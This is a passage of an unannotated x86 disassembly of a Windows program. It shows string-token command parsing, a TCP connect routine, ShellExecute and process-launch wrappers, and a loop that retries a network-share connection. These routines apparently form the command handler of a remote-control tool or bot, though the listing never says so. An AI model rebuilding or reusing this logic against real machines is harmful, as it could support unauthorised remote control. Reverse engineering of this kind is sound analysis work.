ecx add esp, 40h retn sub_41B950 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC20: ; CODE XREF: ___:00401569j mov al, [esp+4] cmp al, 20h jz short loc_41BC2F cmp al, 9 jz short loc_41BC2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BC2F: ; CODE XREF: ___:0041BC26j ; ___:0041BC2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: ___:00401ED8j mov eax, [esp+4] push offset dword_443E7C push eax nop call near ptr 77C3F010h add esp, 8 test eax, eax jz short loc_41BC74 push eax nop call near ptr 77C40AB1h add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BC74: ; CODE XREF: ___:0041BC65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BC90 proc near ; CODE XREF: sub_401479j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BEEE mov esi, offset byte_446F60 mov eax, edi loc_41BCAA: ; CODE XREF: sub_41BC90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BCD2 test cl, cl jz short loc_41BCCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BCD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BCAA loc_41BCCE: ; CODE XREF: sub_41BC90+26j xor eax, eax jmp short loc_41BCD7 ; --------------------------------------------------------------------------- loc_41BCD2: ; CODE XREF: sub_41BC90+22j ; sub_41BC90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BCD7: ; CODE XREF: sub_41BC90+40j test eax, eax jz loc_41BEEE push 20h lea eax, [esp+44h+var_20] push edi push eax call near ptr 77C47A90h nop mov edi, dword_50FAF4 lea ecx, [esp+4Ch+var_20] push offset dword_443DC4 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BEEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BD17: ; CODE XREF: sub_41BC90+A4j push offset dword_443DC4 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BEEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BD17 mov ebp, [esp+40h+var_30] mov esi, offset dword_443E98 mov eax, ebp loc_41BD41: ; CODE XREF: sub_41BC90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BD69 test dl, dl jz short loc_41BD65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BD69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD41 loc_41BD65: ; CODE XREF: sub_41BC90+BDj xor eax, eax jmp short loc_41BD6E ; --------------------------------------------------------------------------- loc_41BD69: ; CODE XREF: sub_41BC90+B9j ; sub_41BC90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BD6E: ; CODE XREF: sub_41BC90+D7j test eax, eax jnz short loc_41BD7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BD7C: ; CODE XREF: sub_41BC90+E0j mov esi, offset dword_443E94 mov eax, ebp loc_41BD83: ; CODE XREF: sub_41BC90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BDAB test dl, dl jz short loc_41BDA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BDAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BD83 loc_41BDA7: ; CODE XREF: sub_41BC90+FFj xor eax, eax jmp short loc_41BDB0 ; --------------------------------------------------------------------------- loc_41BDAB: ; CODE XREF: sub_41BC90+FBj ; sub_41BC90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDB0: ; CODE XREF: sub_41BC90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BDFA mov esi, offset dword_443E90 mov edx, edi loc_41BDBF: ; CODE XREF: sub_41BC90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BDE7 test bl, bl jz short loc_41BDE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BDE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BDBF loc_41BDE3: ; CODE XREF: sub_41BC90+13Bj xor edx, edx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDE7: ; CODE XREF: sub_41BC90+137j ; sub_41BC90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BDEC: ; CODE XREF: sub_41BC90+155j test edx, edx jnz short loc_41BDFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BDFA: ; CODE XREF: sub_41BC90+126j ; sub_41BC90+15Ej mov esi, offset dword_443E8C mov edx, ebp loc_41BE01: ; CODE XREF: sub_41BC90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE29 test bl, bl jz short loc_41BE25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE01 loc_41BE25: ; CODE XREF: sub_41BC90+17Dj xor edx, edx jmp short loc_41BE2E ; --------------------------------------------------------------------------- loc_41BE29: ; CODE XREF: sub_41BC90+179j ; sub_41BC90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE2E: ; CODE XREF: sub_41BC90+197j test edx, edx jnz short loc_41BE74 mov esi, offset dword_443E88 mov edx, edi loc_41BE39: ; CODE XREF: sub_41BC90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BE61 test bl, bl jz short loc_41BE5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BE61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BE39 loc_41BE5D: ; CODE XREF: sub_41BC90+1B5j xor edx, edx jmp short loc_41BE66 ; --------------------------------------------------------------------------- loc_41BE61: ; CODE XREF: sub_41BC90+1B1j ; sub_41BC90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BE66: ; CODE XREF: sub_41BC90+1CFj test edx, edx jnz short loc_41BE74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE74: ; CODE XREF: sub_41BC90+1A0j ; sub_41BC90+1D8j mov esi, offset dword_443E84 mov ecx, ebp loc_41BE7B: ; CODE XREF: sub_41BC90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BEA3 test dl, dl jz short loc_41BE9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BEA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BE7B loc_41BE9F: ; CODE XREF: sub_41BC90+1F7j xor ecx, ecx jmp short loc_41BEA8 ; --------------------------------------------------------------------------- loc_41BEA3: ; CODE XREF: sub_41BC90+1F3j ; sub_41BC90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BEA8: ; CODE XREF: sub_41BC90+211j test ecx, ecx jnz short loc_41BEEE mov esi, offset dword_443E80 mov eax, edi loc_41BEB3: ; CODE XREF: sub_41BC90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BEDB test cl, cl jz short loc_41BED7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BEDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BEB3 loc_41BED7: ; CODE XREF: sub_41BC90+22Fj xor eax, eax jmp short loc_41BEE0 ; --------------------------------------------------------------------------- loc_41BEDB: ; CODE XREF: sub_41BC90+22Bj ; sub_41BC90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEE0: ; CODE XREF: sub_41BC90+249j test eax, eax jnz short loc_41BEEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEEE: ; CODE XREF: sub_41BC90+Dj ; sub_41BC90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BC90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BFA0 proc near ; CODE XREF: sub_402004j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C008 cmp esi, 0FFFFFFFFh jz short loc_41C008 mov eax, [esp+18h+arg_0] push eax call near ptr 71AB2BF4h nop mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41BFF9 mov bl, 1 loc_41BFF9: ; CODE XREF: sub_41BFA0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C008: ; CODE XREF: sub_41BFA0+18j ; sub_41BFA0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41BFA0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C030 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C030 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C070 proc near ; CODE XREF: sub_402149j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27E0517h test eax, eax setnle al pop edi add esp, 54h retn sub_41C070 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C0E0: ; CODE XREF: ___:00401875j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 2790000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50BB7C push offset dword_50BB7C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_436FA8 ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C1C8 cmp eax, 4C3h jnz short loc_41C1D1 loc_41C1C8: ; CODE XREF: ___:0041C1BFj push edi push edi push edi push esi call sub_436FA8 ; --------------------------------------------------------------------------- loc_41C1D1: ; CODE XREF: ___:0041C1C6j pop edi cmp eax, 5 pop esi jz short loc_41C1E8 cmp eax, 4C3h jz short loc_41C1E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C1E8: ; CODE XREF: ___:0041C1D6j ; ___:0041C1DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C250: ; CODE XREF: ___:00401EC9j sub esp, 354h mov eax, off_443EA4 mov ecx, dword_443EA8 mov [esp+0], eax mov al, byte_446F60 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_443EAC rep stosd mov ecx, off_443E9C mov [esp+10h], edx mov dx, word_443EA0 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 nop call near ptr 2790000h mov esi, dword_50FAAC lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C338 mov esi, dword_50F8D0 loc_41C31C: ; CODE XREF: ___:0041C336j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_436FAE ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C31C loc_41C338: ; CODE XREF: ___:0041C314j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C390 proc near ; CODE XREF: sub_401D7Fj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C390 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_41C390 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019B5 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+118h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 7 push 4 push 0Ch push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea eax, [esp+30h] push 8 push eax call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017E4 push eax lea eax, [esi+60h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 4 push 43h push 10h push 0Ah push 4Fh push 10h push 14h push 14h lea ecx, [esp+48h] push 8 push ecx call sub_4019B5 add esp, 30h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017E4 add esi, 32h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C610 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C610 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_401424 lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_401424 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401424 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401424 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401424 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B36 mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017E4 push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017E4 push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C83C push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C7CC mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C7CE ; --------------------------------------------------------------------------- loc_41C7CC: ; CODE XREF: sub_41C610+1AFj xor edi, edi loc_41C7CE: ; CODE XREF: sub_41C610+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C83C: ; CODE XREF: sub_41C610+C0j lea ecx, [ebp+60h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41C9BB push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41C94B mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41C94D ; --------------------------------------------------------------------------- loc_41C94B: ; CODE XREF: sub_41C610+32Ej xor edi, edi loc_41C94D: ; CODE XREF: sub_41C610+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FBE lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FBE lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FBE mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013D4 loc_41C9BB: ; CODE XREF: sub_41C610+23Fj lea ecx, [ebp+32h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CBF6 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016AE lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE push offset asc_443C84 ; ":" lea ecx, [esp+128h+var_10C] call sub_401A9B mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FBE push 1 push offset asc_443600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_443600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016AE push offset word_44758A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B72 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CB5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014B0 lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D212 ; --------------------------------------------------------------------------- loc_41CB5E: ; CODE XREF: sub_41C610+4D6j push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CB86 mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CB88 ; --------------------------------------------------------------------------- loc_41CB86: ; CODE XREF: sub_41C610+569j xor edi, edi loc_41CB88: ; CODE XREF: sub_41C610+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FBE lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FBE lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CBF6: ; CODE XREF: sub_41C610+3BEj lea ecx, [ebp+0BCh] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CD9B push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FBE lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CD0E mov ecx, eax call sub_4021C6 mov edi, eax jmp short loc_41CD10 ; --------------------------------------------------------------------------- loc_41CD0E: ; CODE XREF: sub_41C610+6F1j xor edi, edi loc_41CD10: ; CODE XREF: sub_41C610+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx mov byte ptr [esp+128h+var_4], bl call sub_401FBE lea eax, [esp+124h+var_DC] lea ecx, [edi+26h] push eax call sub_401FBE lea ecx, [esp+124h+var_C4] push ecx lea ecx, [edi+65h] call sub_401FBE lea edx, [esp+124h+var_AC] lea ecx, [edi+3Bh] push edx call sub_401FBE lea eax, [esp+124h+var_94] lea ecx, [edi+50h] push eax call sub_401FBE lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FBE mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 1 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013D4 loc_41CD9B: ; CODE XREF: sub_41C610+5FCj lea ecx, [ebp+118h] call sub_4017E4 push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CF40 push offset asc_443600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016AE lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 13h call sub_401681 push eax call sub_401938 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D1A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FBE lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FBE lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FBE lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FBE push 1 push offset asc_443600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push 